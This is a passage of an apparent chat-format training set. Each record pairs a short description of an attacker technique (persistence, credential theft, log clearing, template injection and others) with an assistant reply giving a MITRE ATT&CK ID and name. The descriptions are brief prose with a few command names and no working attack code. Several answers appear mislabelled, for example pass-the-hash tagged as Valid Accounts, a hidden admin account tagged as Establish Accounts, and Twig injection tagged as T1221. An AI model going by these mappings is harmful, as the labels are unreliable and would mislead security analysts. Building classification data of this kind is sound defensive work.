        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the system's boot configuration data (BCD) to load a malicious bootloader on startup."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a shim in the Windows registry to hijack a legitimate application, causing the payload to run each time the app is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executes 'journalctl -b' on a compromised Linux system to capture boot-time logs."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses login‑protected academic databases to search for internal project specifications of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerable password reset functionality to set a new password for an existing user account."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a search engine, the adversary searches for the target’s IP address range to map external assets."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the command \"systeminfo\" on a Windows host to collect OS version, installed patches, and hardware details."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors performed a cloud‑storage data exfiltration by using stolen credentials to sync the victim’s iCloud Drive with their own storage."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leveraged Microsoft's Remote Desktop Protocol (RDP) to establish a remote session after initial infection."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the MAPI API to programmatically download email items from the local Outlook data store."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs LLMNR poisoning to redirect SMB authentication traffic to a rogue server, obtaining password hashes for subsequent relay attacks."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A short, vague description: modifies the domain controller’s authentication flow to allow unauthorized logins."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT encrypts data with AES and then encodes the ciphertext in Base64 to hide it from network monitors."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script uses the Invoke-TokenManipulation function to spawn a high-privilege shell."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary adds a malicious module to the PostgreSQL server to maintain access."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a throwaway email account on a free provider to receive stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages misconfigured TFTP boot settings to provide a tampered firmware image that is automatically loaded by the system’s network boot routine before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploited an unsecured admin panel to replace the default error page with a political manifesto."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deletes registry run keys to remove persistence after achieving their objectives."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed C2 instructions within the metadata of images hosted on a public image‑hosting site, which the malware retrieves via HTTP, functioning as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator tampers with the code signing verification settings via PowerShell to permit execution of unsigned scripts."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exfiltration, the attacker ran a cleanup routine that purged network share connections from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a hidden VBA script in Access that executes a PowerShell script whenever Access is opened after a reboot."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware records audio through the system microphone when the user is in a conference call."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromised a cloud service provider account and spun up a new VPS to host malware distribution."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited a known vulnerability in Microsoft SQL Server to plant a backdoor stored procedure that runs with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses a pipe (named or anonymous) to pipe execution results from a low‑privilege process to a high‑privilege one."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script automates the use of RDP for remote execution of PowerShell commands on multiple hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a misconfiguration, the group limited the VPN's encryption to 3DES with a 112‑bit key."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script is invoked using the 'Invoke-Expression' cmdlet to bypass defenses."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerates all wireless network interfaces and their current connections to identify potential targets."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a RDP exploit to gain unauthorized access to a system through the Remote Desktop Protocol (RDP)."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries public WHOIS records to gather domain ownership and registration data of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs pass-the-hash attacks with harvested domain credentials to gain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script deleted all files in /var/log/* on a compromised Red Hat system to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macro obfuscates its VBA code by splitting strings and concatenating them at runtime."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conduct a reconnaissance of the network and its defenses before launching a targeted attack"
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a malicious PowerShell script disguised as a .txt file; when the user runs it, the script executes the malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate credentials by pushing encrypted files to a forked repository on GitHub."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload is hidden inside an Outlook Form's XML definition, which Outlook parses and runs when the program starts."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a rootkit to block access to the hardware encryption module, forcing software fallback."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker executes 'az network vnet list' to discover virtual network configurations in Azure."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a data tampering script to alter financial transaction logs in a MySQL database, changing amounts to conceal theft."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage a compromised Dropbox account to share a malicious executable disguised as a legitimate tool with a targeted user."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor floods the target's inbound network with a high volume of ICMP echo requests to exhaust bandwidth and cause service disruption."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By introducing a rogue domain controller, the attacker manipulates the trust relationship to acquire admin rights."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is packed using UPX to compress and obfuscate the executable, making static analysis harder."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding malicious data to the resource fork of a .plist file, the attacker ensures persistence after system reboots."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed a third‑party packing tool to shrink the size of the malicious payload and conceal its code signatures."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a known weakness in cookie signing to forge a web credential that the server treats as authentic."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds a hidden user account to the domain controller with elevated privileges for later use."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a compromised employee’s VPN credentials to access the internal Git server and clone the source code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker monitors certificate transparency logs to identify new domains registered by the target organization, expanding their reconnaissance scope."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to an IoT gateway replaces the original authentication module with one that logs credentials and forwards them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injected a forged digital certificate to appear as a legitimate software update."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious extension for Microsoft Edge harvests saved passwords and uploads them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries the Windows Registry for the 'TrustedDomain' entries to locate additional trusted domains."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool launches its main executable as a sub-process of the Windows Explorer process to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The incident response team observed Regsvr32 being called to run a malicious script from a temporary directory, facilitating lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder executed \"schtasks /create\" via cmd.exe to schedule a recurring malicious task."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group updates the LaunchAgents plist entries to load a custom script on user login."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the 'bash' shell on a Linux host to execute a curl command that downloads and runs a script."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a custom packer that removes symbol tables and relocations from the payload, resulting in a stripped executable that is harder to analyze."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a malicious PowerPoint file that leverages a zero‑day vulnerability to execute code with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware places an invisible overlay on top of legitimate applications to record input events."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a forged .lnk file with a trusted‑looking icon, the threat actor disguises the execution of a PowerShell script that downloads additional malware."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised management server runs a script that connects to switches via CLI to inject malicious ACL entries."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting the VDSO, the threat replaces the gettimeofday function with malicious code to exfiltrate data covertly."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistence mechanism is established by configuring a launch daemon that executes a payload after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor changed security group rules to open inbound SSH ports to the public internet."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a configuration file, the attacker sets the cryptographic library to only permit 3‑DES, which has a substantially smaller key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware altered registry keys to turn off Windows Defender real‑time monitoring."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By changing the permission settings on a system service's executable file, the intruder is able to drop a malicious DLL and have the service load it during startup."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker terminates a legitimate parent process after spawning a malicious child, then reassigns the child's parent to a trusted system process, thereby obscuring the malicious process's true lineage."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses PsExec to execute commands on remote Windows hosts via SMB shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages SMB enumeration to discover file shares and associated services on the network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting \"${{process.env.PATH}}\" into a Twig template, the threat actor triggers the template engine to evaluate environment variables and execute code."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
